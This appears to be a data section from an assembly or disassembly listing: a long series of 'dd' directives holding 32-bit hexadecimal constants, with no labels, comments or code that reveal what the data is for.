		dd 40C458h, 1BCBC1E2h, 5BDFBDAh, 2F88A602h, 0E6DC4AE8h
		dd 9D7900B0h, 989A1B15h, 3800E90Dh, 44597DF7h, 3C4C1Dh
		dd 16709010h, 0FDDFE778h, 0EC7F6B13h, 36832C1Eh, 0E8E91CDBh
		dd 41DF6E5h, 483E22E3h,	4B805420h, 7A9FE840h, 6BB28Eh
		dd 6E9C3AE9h, 0F0E1DB85h, 8ABF931h, 202FB55Bh, 36557950h
		dd 6009F092h, 5DB27BBh,	38F4AF6Ch, 0E5FA47h, 0D4565995h
		dd 0B952F993h, 0B4B13B2Bh, 4A643981h, 0E2E187FEh, 90DC86F4h
		dd 433C9E1Bh, 0A29037ACh, 407BBCABh, 351F7900h,	0AF76DCC7h
		dd 24FF7768h, 648CE9F3h, 90073813h, 9E32C0Ch, 21B6164Ch
		dd 4847B9FCh, 0A8CA96D4h, 0FE60D4D4h, 33DC5D9h,	77E2A9FFh
		dd 0ABB0B98Fh, 330E7A30h, 0A0524B34h, 0CAB4972Bh, 610800EFh
		dd 0D23D5ACFh, 0F50227D4h, 6AF1A3C0h, 30D0E2E0h, 909443C0h
		dd 4053502Ch, 36921FAAh, 2B168007h, 4B17D15Fh, 1540E894h
		dd 1FAC79CDh, 406D3971h, 4263649Fh, 6001A5B1h, 73514A6Eh
		dd 8DE414C6h, 0CAC5107h, 5080F478h, 56538A59h, 8ED51A3Fh
		dd 20B91687h, 62B2EE2Fh, 0AD2B2546h, 0A35E00A4h, 473D1498h
		dd 0D70985A8h, 6F04FAC0h, 20ED2CCDh, 3F164018h,	0DD017048h
		dd 0A9D21E6Ah, 0CDD09751h, 2B190365h, 0DF432F92h, 0DC54948Ah
		dd 0DA7850h
		dd 417AE8F8h, 0A3EB471Bh, 2A322E00h, 33C9944Dh,	0D02300D4h
		dd 0BC1269BAh, 3036C9Ch, 0DE65836h, 0E06DC3B8h,	3A191074h
		dd 7A80412Eh, 4284A120h, 6A0CE3E0h, 29B60EB5h, 279E641h
		dd 1E110FEEh, 81E0EF5Fh, 21C7AB34h, 5C1193BCh, 118761D9h
		dd 0E0BB05E3h, 749ED628h, 3F70C200h, 92F23069h,	0B68D00D0h
		dd 0E5828C41h, 5B39A935h, 1A858057h, 2E74F294h,	23860020h
		dd 958C539Eh, 921F8456h, 2C48DD3h, 0ADC09A8Ah, 0C35C136Fh
		dd 0BB2BB4E1h, 160E9000h, 0E9CF6AC7h, 43505CA8h, 0C801CE4Ch
		dd 0DCD64D4h, 0C1B980BAh, 658B7AB7h, 0FEB7001h,	7FEDD7D2h
		dd 0FCEE3701h, 0E168403Ah, 0A103668Fh, 8D57C95Ch, 30197495h
		dd 7B792FE0h, 0B2A07363h, 8A00456Fh, 0F9956AE8h, 739B0D09h
		dd 79B4606Dh, 75E11A58h, 5F59BD00h, 0FA883B78h,	533414F0h
		dd 0C21DDCF6h, 49DA0C9Dh, 0AD006A69h, 6F41D429h, 0F035E893h
		dd 940E0064h, 0F7017619h, 470EBCAFh, 6013C0D1h,	72FCD977h
		dd 9B41C596h, 1D94414Fh, 0F93619C0h, 613C82Fh, 8DA1E801h
		dd 5F2885FFh, 3FEF31A6h, 109AF118h, 71005733h, 3BBD4CADh
		dd 0C364D96Ch, 0AE9D0329h, 3599C4A0h, 0E432C614h, 60587C4h
		dd 6B4E7570h, 815D6020h, 523C94CDh, 292DB430h, 377D0A7h
		dd 4DEA9F33h, 73F02FC4h, 0B102FE34h, 0B7AD6D99h, 0E7A3C080h
		dd 6FC6000Ch, 0EA9E1A90h, 0B3007C6Eh, 0D8770E8h, 7AF258h
		dd 0A105B11Dh, 0EE6D60C8h, 3B657C02h, 0C0618B1Eh, 0CF7B7A45h
		dd 13051279h, 654C0063h, 551F1E29h, 2CAE29C2h, 20D3059Bh
		dd 0FC8F32F8h, 2568CE0Eh, 0B8778003h, 1FC506CBh, 0D33B48E9h
		dd 4E3C0271h, 0A090EEECh, 80A4576Bh, 0D053F205h, 0BC449F85h
		dd 0F4318613h, 89A5711Eh, 242CEB39h, 0B9181C08h, 0E822BAFDh
		dd 1A49096Ch, 38013784h, 0F8E7752Dh, 0E8CC388Dh, 0EE5CC10Dh
		dd 0F44BFBD2h, 0C09F7C1Eh, 0CB07FB72h, 7667428Ch, 0AAF0EE59h
		dd 0FE87FCh, 64EA132Dh,	35712F3Bh, 0ECFA390Ah, 8D0070D2h
		dd 6FAF5D5Ah, 0E292680h, 0E90F4030h, 0F4E62B4Eh, 0B9D9DD00h
		dd 88F1FA69h, 98CD497Bh, 3357C706h, 9B30914Bh, 0B1E78151h
		dd 8083000Dh, 343F2D7Ah, 251EE11Dh, 0D8D24E6Dh,	80F29048h
		dd 0D2CDA9C6h, 3F2E0129h, 0B02289BAh, 27B3E50Fh, 7C30F35Fh
		dd 0D995D2h, 37177820h,	387479A8h, 73C4D003h, 0A069B2DFh
		dd 7B70F0ABh, 0F257311Fh, 2027BCE9h, 9C44B90Ch,	69A4883Bh
		dd 1A5E039h, 29BE9998h,	96F4C2B2h, 3834497Ah, 88C0DC90h
		dd 24FBA57Fh, 0B05860D8h, 80389399h, 2802F3E8h,	8E00EA65h
		dd 0F439AF52h, 3B26ECCh, 6AC6380Bh, 0CDC0B69Ch,	164C6F42h
		dd 57E682F8h, 4CD44438h, 0AA800044h, 0CF66082Ch, 8201AAB8h
		dd 0F49148B7h, 74400E9Eh, 12E463D8h, 7CA4BFh, 99437029h
		dd 0F106F25Fh, 88C2C6EEh, 648F3FD8h, 0E0B7E698h, 5CFE310Ah
		dd 40A05648h, 5F00CD74h, 7DE4737Fh, 39C77A5Dh, 5B376F72h
		dd 3ED8C021h, 0BE722266h, 35924B00h, 7DE01691h,	5B4302BCh
		dd 99256311h, 0AA0048C6h, 0B427901Eh, 0EAAB55h,	8A1B975Ah
		dd 2516A717h, 78760498h, 0FAC3F32Eh, 0CC0F9C00h, 721F7F89h
		dd 41F22C6Fh, 6066421Ch, 93166E0h, 38BE553Dh, 84E400DDh
		dd 0EC407803h, 9EB139F4h, 56997D09h, 74A1D002h,	51E11460h
		dd 390CAC2Ch, 2B1D607h,	94E8730h, 7C7818D4h, 425CB1BFh
		dd 6F715760h, 1D74614h,	889D8D66h, 200B6A78h, 8A0347D9h
		dd 0A9951E81h, 5A66C0FFh, 388360E7h, 6B4F15BBh,	0BE718801h
		dd 607ACAC2h, 1EED2AD8h, 93D2E24h, 20119DADh, 1FEC105Fh
		dd 0E8DE0001h, 0FB502C69h, 0D3023D14h, 0E2C6F66Ch, 0B8E48081h
		dd 0A8130CE8h, 6E3557D8h, 0D08C419Bh, 0AF0036B9h, 0BE26FC83h
		dd 5C609DDFh, 61008705h, 57A23F0Eh, 6F0CFB9Bh, 0F9BC0DD2h
		dd 0F9EB0026h, 353C9E31h, 540022EEh, 4421B208h,	59D7DCF8h
		dd 2504940Bh, 0C58B4h, 0F1BCCC07h, 1CCF00D6h, 0FC2F4C21h
		dd 0DC483AF7h, 57B0820h, 6F4B409Eh, 70001B52h, 5559A165h
		dd 30DE87FDh, 0AD890F8Eh, 7201CFD5h, 0FF613658h, 0A180B50Dh
		dd 5045154h, 0DA39812Eh, 809848A6h, 88A2190h, 5A1E01BEh
		dd 58B569C6h, 0FC39A68Ch, 8281F61Ah, 44BE817Ch,	180CE878h
		dd 1175428Ah, 5C00D6AAh, 0AFEC3969h, 12D0692h, 90154EE3h
		dd 0ED6DF441h, 0A2E64372h, 7C223F88h, 0EC7EE709h, 97B090EBh
		dd 0E8820969h, 9C87797Bh, 0AF785105h, 4918CB3h,	0D09967h
		dd 0C99B62ACh, 0AAD6DB5Eh, 0E3EC9900h, 6965D2D1h, 5FB40653h
		dd 0A17A1CB9h, 528EC499h, 0B32EA729h, 0F3D86720h, 0AC660604h
		dd 61936B58h, 700B4B2Eh, 9488AD08h, 720020E0h, 6C172371h
		dd 0F6053EAEh, 0A51A8CC9h, 0B0AD5C88h, 0F8E54C10h, 7C606E22h
		dd 1C736BD0h, 8D9700B0h, 3072F1C2h, 6F266A71h, 4A6798DFh
		dd 0C0262F82h, 4DD163F4h, 57135880h, 0F4D02039h, 0BE011FE1h
		dd 3152CDF3h, 33D05DFBh, 0FF670F43h, 250797B4h,	0D00CF991h
		dd 68191241h, 84D8AD61h, 30F94C48h, 0D5815E9Ch,	71000DB8h
		dd 0FC1EB0CAh, 1EB40BFFh, 8FE65576h, 8C40FEC7h,	9622E05Ch
		dd 55B6E12h, 87DF1020h,	0FEB6E88Eh, 0D7850148h,	0C40D335Eh
		dd 6C32F889h, 4DCBA403h, 0E572D32Fh, 0BBE79080h, 9142611Ah
		dd 0E436A79Ch, 3E89B0Bh, 289C7658h, 4B097C37h, 0A1CBC17Ah
		dd 53EEB900h, 0BA0AF048h, 3B800004h, 0F7FE5EF2h, 0F500AE70h
		dd 74C77C5Bh, 26C177h, 0E8AB4E06h, 6C9FE185h, 1A577600h
		dd 0FD791C5Ah, 0F9860041h, 80D705A2h, 0AC01CA8Ch, 0FF647AB5h
		dd 8E601603h, 1D14A96h,	388018DCh, 6C94F00Dh, 742751Fh
		dd 0C3DBD303h, 0BA9AE8B4h, 0F239065Eh, 0C9EB0DEAh, 0E9DEE500h
		dd 2070E65Ah, 303C00A8h, 92544C8Ch, 9A1C846Ch, 8B018277h
		dd 0EB07AFEh, 6422D072h, 11B33E00h, 0D62A4A13h,	0C9FF00DCh
		dd 0C0037294h, 0E200917Ah, 63FE22F0h, 616F575Bh, 0FA953968h
		dd 0F1542541h, 59BE3Ah,	7F07272Dh, 526135h, 86B3AEDFh
		dd 3B8825B2h, 0F2CBB400h, 0E2433E81h, 61AB8C8h,	0F6D3DD18h
		dd 0C520605Ah, 89B4C69h, 9978C09Dh, 72E3E5D8h, 0BE5356C3h
		dd 0E8A99B27h, 7BF95F1Ch, 48B84808h, 7E67A511h,	0C4EB04Ah
		dd 119C092h, 9F7366h, 0E5BE7736h, 0E42FDE1Ch, 4F99D300h
		dd 85634E18h, 84090CFAh, 1C814842h, 0C9255Ch, 3A063971h
		dd 4A99078Eh, 6B3C3011h, 2A055B2Eh, 0EC6C4396h,	2C461783h
		dd 2E0E611h, 71589FE5h,	4422305Ah, 873B0054h, 0E0316E83h
		dd 0E60159F0h, 0FCBE3965h, 85F0BA98h, 88682C0Eh, 0C7FE8F8Ch
		dd 0ACA30320h, 0BD26D966h, 0F0302C9Fh, 58E404A7h, 100884A4h
		dd 5D04130Ch, 98C06B4Eh, 771D5B90h, 1241EC75h, 0C25A4A56h
		dd 4E20B6F0h, 0F517621h, 3DE16279h, 93D838E0h, 0CC052D3Ch
		dd 96E36F43h, 0F663F0C1h, 7200D472h, 0BF78AD83h, 0AB0974FBh
		dd 609AF5C6h, 9CCC185Ch, 8D614020h, 9700AF2Ah, 4B08EB7h
		dd 0D3A350h, 720BAEF9h,	100A4D7Dh, 0A019EC01h, 21A6931Eh
		dd 0F01608C0h, 57C00EE7h, 142FFF79h, 3D814400h,	0AF008615h
		dd 75105054h, 0E795584h, 9F600999h, 720200B7h, 0B7AE136Ah
		dd 37D3B000h, 595B3166h, 219B0011h, 0B38BFDC9h,	0E2E8451Ch
		dd 9448F84Ch, 9B89756Ch, 0E3A3D848h, 16205FECh,	136876E5h
		dd 0C2C44410h, 0A26CC009h, 0C4348FF2h, 0C880185Ah, 0C2C619B9h
		dd 0E3897A41h, 13941C48h
		dd 0A4CB5F00h, 70FCC6BAh, 986C5804h, 0C591F8Dh,	240027D0h
		dd 6208FB94h, 0F5C4016h, 1F601C8Bh, 5F4F4363h, 3CE567C8h
		dd 35CB5006h, 2C199A4h,	2606B793h, 3CC0E879h, 0A600A12Dh
		dd 0A77A7FF3h, 17E973E2h, 5E1F113h, 6DA99Ch, 9248B31Ch
		dd 2E54F564h, 800CBF8h,	6F4F9888h, 936697BDh, 0D87A1C58h
		dd 0E1B9E1F0h, 859CD1C0h, 48021EACh, 7A012075h,	0F48B55D4h
		dd 0CCE8F57Eh, 650447B4h, 0CF33F63Ah, 3472E8E0h, 419AF9Bh
		dd 69CB79Ch, 2CA14CD3h,	0EE84154h, 0F8E72213h, 4A835057h
		dd 7506A566h, 8617329Dh, 8A7C0760h, 8004D9EDh, 0A90563D5h
		dd 7BE4B207h, 41393E60h, 0AC20BDB4h, 9CE03A90h,	6D1A5C00h
		dd 147D804Eh, 5F3C9509h, 70906071h, 0A056005Eh,	0CF2272CDh
		dd 6F161BD2h, 0B809072Bh, 0FC609041h, 0D9452C37h, 860500F2h
		dd 0BEDF19A9h, 67C19706h, 29EC95h, 0FB2B116Dh, 8F725763h
		dd 0E795E1C2h, 54044424h, 0EBE8C7h, 2F750F5h, 4F47A2DDh
		dd 0BF7A710Eh, 0B870A34Ah, 0C16ED0C0h, 5C397CD6h, 7DC0D434h
		dd 0C63FC292h, 9690E302h, 0C0736FC1h, 72BD4ECh,	6CFF83CFh
		dd 857A3169h, 1C82970h,	3B7F3C0Dh, 0D6F0CDD0h, 65800162h
		dd 62DF875h, 1A6FD4C4h,	0B59A8807h, 15415F42h, 0CC2DDA97h
		dd 1C80073Bh, 432AE7AAh, 72003DBAh, 1E574055h, 129F3AD5h
		dd 885B267Bh, 6305EF04h, 0F14CEE76h, 7D3E3680h,	4F9002Eh
		dd 0B91CD8DDh, 7A049180h, 5FA40E8Ah, 8A673888h,	7ADB4040h
		dd 0D5661F00h, 6C14FADDh, 892C9E2Dh, 1848DCECh,	20E57871h
		dd 57EC6764h, 0B9C23875h, 0E8F85A7Ch, 0F37F5D08h, 117AF8h
		dd 599C524Fh, 0A67B67BEh, 0E4EC2000h, 9ACC2A05h, 88D961E5h
		dd 23718F33h, 0B73CE0h,	3555D005h, 91CAAE3h, 6BFCD3E9h
		dd 0AF2430E4h, 628FB442h, 633F40ABh, 19827A89h,	2997D4EDh
		dd 75CA59h, 5A9EF66Bh, 3BF4A96Ah, 0E92EE210h, 5DFE2901h
		dd 46086B2Ah, 30E0B9C8h, 7A60378Fh, 0B8966FB3h,	0B6405B44h
		dd 62CA5913h, 0B806514h, 0C0DC098h, 3C5E5458h, 0C528F0F1h
		dd 64880D08h, 63B930D4h, 0FAD0050h, 36D50C3Ah, 0ECCB301Dh
		dd 159EB19h, 0C04F0E4Bh, 0DFE4EBF1h, 187F407h, 0FCFBBAE2h
		dd 6D0E51B0h, 5616247Ch, 41C13490h, 81E09EF4h, 6810C9DFh
		dd 4872ECh, 0EAFADC85h,	7A5E5Bh, 0D28CD9E6h, 0C2D40625h
		dd 422D042Eh, 0CFAB5500h, 2DEBEE8Dh, 6C2541F1h,	72018047h
		dd 86FAC73Dh, 0BB0B4801h, 7097B631h, 2980B731h,	0D4D2E6DFh
		dd 0AA00953Dh, 8D72EE25h, 24739216h, 0E406E6Fh,	57A468A5h
		dd 0E6E0A436h, 237EA70Bh, 0C1F819Bh, 5180729Eh,	7DD5AAF2h
		dd 3416EA65h, 0C0849016h, 80B79C80h, 10AE3E22h,	10A0B225h
		dd 0F25F30B3h, 85D04304h, 68898978h, 0BC88F404h, 6FAC07A4h
		dd 5BAE1E80h, 0A208408h, 14C4D85h, 884E75EDh, 68844842h
		dd 1F0EBB00h, 0A44AE2CEh, 0FA3D0123h, 0B89B0356h, 2F7024ABh
		dd 21F81082h, 314100FCh, 0A6F6F0C1h, 4C90571Ah,	0E1755B01h
		dd 9BEAC443h, 48CAC30h,	0F176A9C8h, 4380EB2Eh, 8F3556h
		dd 0B2B45A1Ah, 65AE2C89h, 0E0728500h, 0AFF4936h, 8CEE5235h
		dd 60AAB040h, 0FA0150D4h, 18BC1AC9h, 279D4F80h,	3972586h
		dd 7CB79817h, 0BD986BD2h, 661333CCh, 0D4483BFFh, 8B80BF51h
		dd 39F42924h, 0A013F9E7h, 0D060D6E2h, 7A239B0Ah, 663D3B55h
		dd 6815963Ah, 920410E7h, 0B2B47AB6h, 49530294h,	216ED305h
		dd 0DCC0D619h, 340C42ECh, 880E2766h, 0A4C7537Ah, 775EC605h
		dd 0B4FD0B68h, 8DAFBC10h, 3DFE6600h, 0D52FFD57h, 99E03D92h
		dd 7C29A103h, 0B0A09CF4h, 172FB8AAh, 0F22018D0h, 322C44B4h
		dd 71005EE0h, 0E23EBD1Fh, 78F7042h, 0C8A438CCh,	99E4A048h
		dd 0F1005D9Dh, 0E696822h, 5BFE052Fh, 8A280865h,	98196780h
		dd 2495C28Eh, 133C055Bh, 0B43049B8h, 5D466490h,	0EAB25501h
		dd 1BC01626h, 30211879h, 0C4006811h, 9615EB41h,	2B007A2Ah
		dd 0A7DBB6E3h, 0FF72C83Ah, 2070CC74h, 95136912h, 0D057DBCFh
		dd 319F3420h, 1C7061h, 0FDCCCF48h, 0C24D5D3Eh, 4C093B75h
		dd 40538E37h, 40ABD164h, 3804FDB3h, 0C112DDC6h,	0E42034D4h
		dd 729E25DFh, 2F99400Eh, 0F4BAB701h, 20E1A831h,	37234F4h
		dd 4A19E0D1h, 59B0D48Fh, 30727142h, 8D0953F6h, 909F7BCDh
		dd 61C21938h, 345719DDh, 27F86263h, 728420F9h, 0FE0E291h
		dd 5B63ECF6h, 0BFE0C816h, 39C37500h, 32DB839Eh,	0F1B15CB3h
		dd 0E04700Bh, 0F545C090h, 26E01600h, 0D2A85A7Ah, 60289499h
		dd 0CDDD328Ch, 80410201h, 0E00B134Fh, 5ADF1EFCh, 57FC086Ch
		dd 205680B9h, 0EDD3EB9Bh, 0FF8A0092h, 6172C0C5h, 7B022F71h
		dd 787CDEE7h, 3DB47AB4h, 0F480755Eh, 65E5831Bh,	3412E633h
		dd 8810BAF6h, 6CC116E4h, 0BCB57C24h, 0EA5AAE00h, 50D10232h
		dd 2B238ACh, 0E58878C3h, 0D0B84F91h, 50B566F4h,	4B0405EAh
		dd 0CC8385A5h, 0D30E9B74h, 241DCE36h, 0C06E50h,	525B6F4Bh
		dd 202EFC79h, 507298ACh, 80036091h, 2B6601DAh, 0C228B2EEh
		dd 8B147138h, 0B485375Ch, 21A80232h, 40E22563h,	6C01907Ah
		dd 7FE213C2h, 0C0E27937h, 0A01F640Bh, 889B1B24h, 0C525D175h
		dd 5AB420D5h, 90D4E36h,	0D4E983C9h, 0CB00A452h,	0E5933D50h
		dd 39E67090h, 85814D40h, 7F84867Ah, 6DC26108h, 40752188h
		dd 0D81A59ECh, 281A70Fh, 0A0F5A020h, 2572807h, 3CE6348Fh
		dd 0C890B913h, 5A8967DDh, 2430E862h, 0FA64B514h, 0AEAF709h
		dd 84E20015h, 4E787B83h, 0B2B420ADh, 0E0D21190h, 372BA200h
		dd 188B5AEDh, 0A6AEFE7Ah, 6A03345Dh, 3BA7CD7Ch,	30659761h
		dd 9159A80Fh, 4F7EC122h, 76FF9A04h, 2180EAD6h, 4BE41Fh
		dd 0DD8DC33Dh, 4DDB6D96h, 0AE17B4AEh, 10054BCBh, 0D0F49B69h
		dd 0B2F80028h, 804F896Bh, 1B044BA4h, 0CEC9E68Dh, 576CF880h
		dd 25976Fh, 0C764A49Bh,	18771F00h, 29DBC1C3h, 0D8951325h
		dd 0D3BE0351h, 2688C979h, 0CB4C4DEEh, 9B38841Ch, 4959185Dh
		dd 0FA00D334h, 0E95663AFh, 1F3F8623h, 0C052F37Fh, 21CBB165h
		dd 0E01615E6h, 0B002B60Bh, 51453957h, 4E042644h, 60A26B07h
		dd 69BE9BCBh, 29587B09h, 0BF48048h, 9272CCh, 0A9A7101Bh
		dd 2E27A1F0h, 0AF7A2Ch,	3D309040h, 95CF5037h, 4A6CFA43h
		dd 493C231Ah, 458237AFh, 92CC0084h, 978A383Fh, 0D0205D4Ah
		dd 50DF51h, 18A6AC24h, 0A2E6E9B3h, 250D9F02h, 565AD3E4h
		dd 0FF1816Ch, 70F9BC26h, 0C704E077h, 95CC15F6h,	95AF5CF0h
		dd 8036BC25h, 0E46F6660h, 0C450B8B6h, 33B9380Ah, 0DB9E01FCh
		dd 98D81848h, 0CC2FAD6h, 0F5B37CCBh, 87C4504Dh,	0AFD13163h
		dd 64684547h, 0F9122F21h, 3060C0C9h, 0BAFC202Ch, 156F6312h
		dd 1310A4h, 0D2DA7773h,	72D95C65h, 2CDF6C88h, 40B8428Fh
		dd 77B58C6h, 70023675h,	0B2172138h, 7C3F40F0h, 0F3C400CBh
		dd 0C161CE80h, 0FF98FF3Bh, 722D898h, 0F87B0013h, 49F6F3BBh
		dd 66F0D285h, 5C578326h, 44D04113h, 1512744h, 0D522697Dh
		dd 40DA90DFh, 1343EB78h, 214CFE48h, 9920BFDDh, 0E0E16805h
		dd 0DC84B89Eh, 0A46050F1h, 21B15E82h, 3085EFCCh, 0AE38C2B0h
		dd 0A5060059h, 580107C4h, 0C1640A7Ah, 1B60FEEFh, 86ED39C9h
		dd 0D34F692Fh, 9700A05Eh, 10F260E5h, 19660729h,	9B726E3Bh
		dd 18909F09h, 9700659Bh, 0A7EB8C52h, 984BBF1h, 0A13BC5A4h
		dd 0E382D380h, 4A0006ECh
		dd 0F1E4CFB9h, 0DD0218h, 0E849764Fh, 0A9AAF6CCh, 2015C030h
		dd 185BD2C2h, 10E72D47h, 8177184Bh, 6914EE07h, 91907A39h
		dd 0E4B9ECFEh, 38080054h, 89D98C02h, 0E41806E5h, 1568D094h
		dd 357207F3h, 13C1CA51h, 1900EB10h, 0ACBDE384h,	39807E1h
		dd 0B1446E59h, 211F7B06h, 4EC6DFCFh, 311070Ch, 73E6FF16h
		dd 66A3C1C2h, 1DFADD0h,	2B3034F0h, 70A438F5h, 0B4F63290h
		dd 0E3201CF1h, 0E084549h, 9A028354h, 1AABA580h,	99005E04h
		dd 0CA86B1C6h, 0E4CB5169h, 0E710309Ah, 5BBD7D89h, 6F884D01h
		dd 923297A0h, 0CDF7320h, 0F01DFBE4h, 0B7006B29h, 3CEE1B9h
		dd 3A70F9Bh, 1B6C76AFh,	0ECB0EB09h, 0E662FC8Bh,	615ED190h
		dd 0B850E8BDh, 0EC218A69h, 74161CF6h, 0B4114C35h, 0F96210E8h
		dd 401C8261h, 604881Fh,	0DB8E4AB5h, 0BB008AA5h,	523CBFF7h
		dd 550C593Ah, 14D47C24h, 4B920668h, 5EFFB7E7h, 0B0BB8500h
		dd 98C19A0Dh, 1E867A88h, 7B65F62h, 0CD2766BAh, 1434FC98h
		dd 6FF549C0h, 0B0884B35h, 8FC70F60h, 0A9263615h, 9644A9A0h
		dd 74CB0194h, 7BCE2C41h, 0BDE2C8FEh, 9BD40D00h,	0F9FC6744h
		dd 0C31F0E49h, 0B8783A7Fh, 610A9888h, 0A838E4DCh, 0FC201245h
		dd 0B6974C6h, 0FF360E21h, 0FC4C885Dh, 18464B44h, 0B50B39EAh
		dd 0BAC4667h, 0A60A0023h, 0F108C7Fh, 80CA9316h,	58E7C286h
		dd 3371270Bh, 0DE320304h, 0A700FD83h, 97D2EC7Dh, 6690126Bh
		dd 0D1240AE5h, 0F73E8770h, 80FEEECEh, 7C6B6F08h, 0BC0001A6h
		dd 801C5A69h, 305CCA2Eh, 7869AF0Ch, 0FB001D7Dh,	766DE1AEh
		dd 7D12219h, 0F624B2ACh, 88C2D4BFh, 5D24A2BCh, 5F041C48h
		dd 0FE48F230h, 0C8EB4A8Ah, 55747A80h, 7267BEC1h, 66C009Ah
		dd 36B01B8Ah, 0E07F310h, 68B63258h, 35981AF0h, 495F03CAh
		dd 0C25AFA83h, 34FF0AE0h, 87E66101h, 8DEE27DBh,	6991E7F5h
		dd 0A5ED011Ah, 0F95FA7B6h, 0E4CDCF8h, 5DE1619Fh, 0EC443920h
		dd 0AC48C181h, 0CC2D29C8h, 4FA9188h, 140D7AB2h,	0AF691128h
		dd 197E357Ch, 1D780419h, 0BA10C0FFh, 9CA87C63h,	8CA8EB47h
		dd 5800786Ch, 96397516h, 5E5A86h, 6E2A71EAh, 350F2B28h
		dd 2524C172h, 0C3858482h, 6A82A1D2h, 952C4072h,	7E54004h
		dd 0A061D060h, 6E26ECh,	103FE2EBh, 4FDC698Dh, 740F651Dh
		dd 48A1C804h, 94116CC3h, 12234B22h, 0F34900B4h,	4DE878FAh
		dd 6A00CED6h, 0F516F28Ah, 4C833EB1h, 0F86A15EEh, 0D33908A8h
		dd 83385F40h, 9C1A03E1h, 0A21F4296h, 2E4066A2h,	0C22401B2h
		dd 1844E43Eh, 36D48C8h,	835EC91Eh, 2AB83172h, 0F658E06Ch
		dd 6570026h, 33C3F07Ch,	20A00089h, 299024B0h, 35099A96h
		dd 1FD09E9h, 0FF89404h,	43A68ECh, 0A354C044h, 11612288h
		dd 0ACDA10D7h, 9D163F1Ch, 40F8931Eh, 6733D3A5h,	3701440Fh
		dd 0E354B92Ah, 0A4FA9B69h, 6B41CE90h, 0E411613Fh, 21005017h
		dd 0D1A74742h, 1F143Dh,	0ABDF2879h, 0ED860878h,	10A0B890h
		dd 0C240966Bh, 0E14335C4h, 6E040089h, 471C26BBh, 0FBC06300h
		dd 87EAF46Ch, 2EDD035Bh, 8FA811EEh, 8A5D8BE0h, 0C360DCA4h
		dd 35663699h, 1F389191h, 2EC43E6Dh, 0BCBDF9C7h,	0BE0EED90h
		dd 7CA33B01h, 28B6BA00h, 373179F8h, 0C4EBFD05h,	0E8433D35h
		dd 821B1A15h, 6C464C0h,	2F352344h, 47E8216Fh, 60E8BC31h
		dd 0E0F97A8Bh, 1EB08CF0h, 0D4FE07h, 538FBCD0h, 0E9532E08h
		dd 0E7251184h, 403B3500h, 31A2FB76h, 6E9C0200h,	0BACE7B4Eh
		dd 25E55801h, 70EADE18h, 0CCB8F637h, 8AEC464Ch,	9C002429h
		dd 1A0B1168h, 20749891h, 0FCA616A2h, 0D4DF011Dh, 0F70FB380h
		dd 3BDF3A3h, 0A8A1FBB2h, 0D60232F0h, 7B2D2B59h,	88E4683Eh
		dd 94E32A3h, 2A195E78h,	68E50ED2h, 0AB289816h, 466B126h
		dd 6C71BF40h, 13649A16h, 5CBC8DECh, 5E665300h, 13421328h
		dd 2C783070h, 1D24A218h, 8E83F001h, 88272147h, 19178Dh
		dd 0E0815F60h, 0F65772C3h, 0E521E890h, 481C2034h, 0FD100C37h
		dd 0E81019C5h, 91603F71h, 0E1060026h, 96B5B3B7h, 0C00FFF7h
		dd 0B4DD6E42h, 1133394h, 202FCAC1h, 245748B8h, 85000E24h
		dd 0B4A28D6h, 0A668DBh,	71111D51h, 81C35AC8h, 2BD76C13h
		dd 8299F422h, 2FD46B78h, 0BEA05F8Ah, 662F4602h,	1068E5E0h
		dd 0C18BBE41h, 104DF67h, 0A9CD9BF0h, 4E8737Fh, 3DC16182h
		dd 6018E888h, 0BEA861FEh, 770013D5h, 57B56630h,	14586490h
		dd 48F18CE7h, 19F93211h, 0E3B8BF6Fh, 3A886B0Ch,	0F87E4CB3h
		dd 22B23EC4h, 8553163h,	5CF25178h, 0A82230F5h, 9A734F05h
		dd 54908B48h, 60024484h, 0CDF6A07Eh, 89D468B3h,	0AD20848Ah
		dd 33EC0CF1h, 66C91634h, 38F1F545h, 7000C072h, 0EAAE8A6Ch
		dd 27B06FAFh, 5C449550h, 9871E602h, 2AEA481Ah, 0F00D00FFh
		dd 687CDC83h, 0F2B73703h, 0D91A3E96h, 2993F4F6h, 1FC00BF1h
		dd 307DC18h, 5F8C0E05h,	0A408C857h, 0E72463DFh,	0F76BA910h
		dd 7DB3119Fh, 0CFA9328h, 31589031h, 6180F84Ah, 0DD3ABA61h
		dd 0B800672Bh, 7ACA4D04h, 900669B9h, 0EA252070h, 4163F516h
		dd 0C03D3800h, 0FFBFFDh, 0CB0166B0h, 12E9CD8Dh,	77CF1A40h
		dd 0F3D00FF2h, 0F1D30AAh, 0C8CD4D6Ah, 0E3898848h, 87D10013h
		dd 98FD52BBh, 0E0C04230h, 89EB0563h, 0BAD11092h, 610B607Eh
		dd 492C1A5Fh, 67869802h, 0C09BCAE0h, 80E54484h,	80A8E648h
		dd 0CB00C46Dh, 49923E26h, 13A9429Fh, 34F4F3B8h,	8DB80008h
		dd 0D62566FFh, 210848B9h, 65488F5h, 29B14042h, 99C21C42h
		dd 0D8188442h, 8800B935h, 0C12991ACh, 9B57B8Dh,	57202CCAh
		dd 45B76884h, 0CC40ED18h, 0A840FC1Fh, 85B404B6h, 0B4484142h
		dd 0D950C5A4h, 600CCEDh, 85AEB2B8h, 427FDACh, 7C1CEB1Ah
		dd 0DD648147h, 8AA90889h, 0E09DC818h, 0CCD59006h, 0FCB88699h
		dd 38E480D7h, 17319C6Fh, 4FE838h, 0C0066D42h, 0CDECBAF4h
		dd 3253E200h, 5AE44E60h, 45391DD4h, 44D8498Bh, 2CFBEC90h
		dd 80780C5Ch, 98A7822Ah, 84B0E9Ah, 8BC376C8h, 6CA9ABC7h
		dd 0A2F84C7Bh, 0A8281545h, 1A5EC280h, 0AA28EB0Bh, 9400950Eh
		dd 721B3650h, 6081B023h, 3BE6E910h, 0E3268E71h,	7E61C89Bh
		dd 0B240890Ah, 3E94F7C8h, 2A0E996Eh, 0E4C74814h, 2402CB19h
		dd 0BCE20BC6h, 2B509C18h, 74A4A4Ch, 0A9A55434h,	56611681h
		dd 0CECB98DFh, 0BA80075h, 84C05E07h, 0B009E781h, 2392514h
		dd 12DB9D28h, 0C150CCC4h, 0F1D6C0h, 0B1772046h,	28438E88h
		dd 2CD60090h, 0B53E1B5h, 0E2EE867h, 2052F0BCh, 42C29780h
		dd 0F2001FDAh, 0E87C6DA7h, 3972B2B9h, 0F4828A19h, 8C439F70h
		dd 978ED681h, 9AF6E048h, 7F3020F4h, 6CBC089Ch, 0D5EE0710h
		dd 0C7F97BA1h, 0CB58508Eh, 0BF60904h, 5632F71Eh, 295EAAC6h
		dd 437078h, 0A781A21Fh,	0CB8F774Fh, 58F9511Eh, 790CBF5Fh
